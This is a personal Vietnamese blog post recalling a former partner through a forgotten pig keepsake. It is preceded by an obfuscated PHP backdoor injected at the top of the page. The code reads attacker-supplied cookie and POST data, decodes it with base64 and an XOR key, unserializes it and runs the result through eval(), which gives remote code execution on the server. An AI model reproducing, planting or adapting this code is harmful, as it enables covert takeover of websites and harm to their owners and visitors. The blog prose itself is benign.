$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> sometimes, it’s the boring stuff i remember the most – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

sometimes, it’s the boring stuff i remember the most

Tính anh vốn rất hậu đậu, quên trước quên sau. Anh từng bị gái chửi rất nhiều vì đang tán hươu tán vượn em nó, đột nhiên hỏi câu: à, mà em là đứa *** (kiểm duyệt) nào đấy nhỉ? Anh quên mất rồi!!!
Anh đi làm xa, chạy hơn 400km tới thành phố khác, mới phát hiện ra là mình quên nhiều thứ ở nhà. Tới sát giờ đi mới cuống cuồng chạy đi soạn đồ, đành chịu thôi. Trong những thứ anh quên, có thứ rất nhỏ nhặt như quên cái thẻ tín dụng-có-nhiều-tiền hơn ở nhà, cho tới thứ to và quan trọng như hộp bao cao su mới mua (mà chưa có dịp xài).

***

Anh nằm trên sofa một mình, trong căn nhà rộng vắng lặng, cùng với hai chú chó đang lim dim trong lòng. Cả ngày tắm hồn mình trong những giai điệu đầy mê hoặc, những lời ca thơ mộng do Bảo Thy và Ưng Hoàng Phúc trình diễn, đột nhiên anh nhớ những bài rock n roll của King Elvis điên cuồng. Có lẽ, chỉ những bài đó, cùng chai Chili Beer đang uống dở, mới có thể khiến anh thấy đỡ trống vắng một xíu.

Anh luồn tay vào ba lô, cố lôi ra cái ổ cứng di động chứa kha khá nhạc của mình. Thình lình, một cái khỉ quái quỉ gì đó lăn ra theo…

***

Ngày sinh nhật anh hai năm trước, H tặng nó cho anh. H bảo nó giống anh, vì nó là con heo, anh cũng là con heo (Thật ra, ngoài cái tật dùng từ “heo” hơi nhiều, thì anh chả có gì giống heo cả). Nó là một cặp heo, một con trắng, một con đen. H giữ lại con trắng, con đen để anh.

Anh mỉm cười rất nhiều: cám ơn em, đây là món quà tuyệt vời nhất mà anh có dù trong lòng nghĩ such a boring stuff… Anh qua cái tuổi đêm ngủ phải có gấu bông từ lâu lắm rồi. Anh cũng không phải gái để heo trên bàn học, treo trên màn hình laptop, hay nhét trong cái cặp đựng đầy sách vở mà anh vẫn vác theo mình bốn năm đại học. Vì thế, khi về nhà, anh tống ngay nó vào góc tủ.

***

Thế mà, lạ thay, anh chưa từng “bỏ quên” nó. Anh đi đâu cũng thế, từ Việt Nam qua Mỹ, từ nhà mình tới chỗ làm, quên nhiều thứ, nhưng chưa từng “bỏ quên” được nó…

…cũng như anh chưa bao giờ “bỏ quên” được những kỉ niệm về em.

’cause sometimes, it’s the boring stuff i remember the most

020510
B.l.u.e.

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.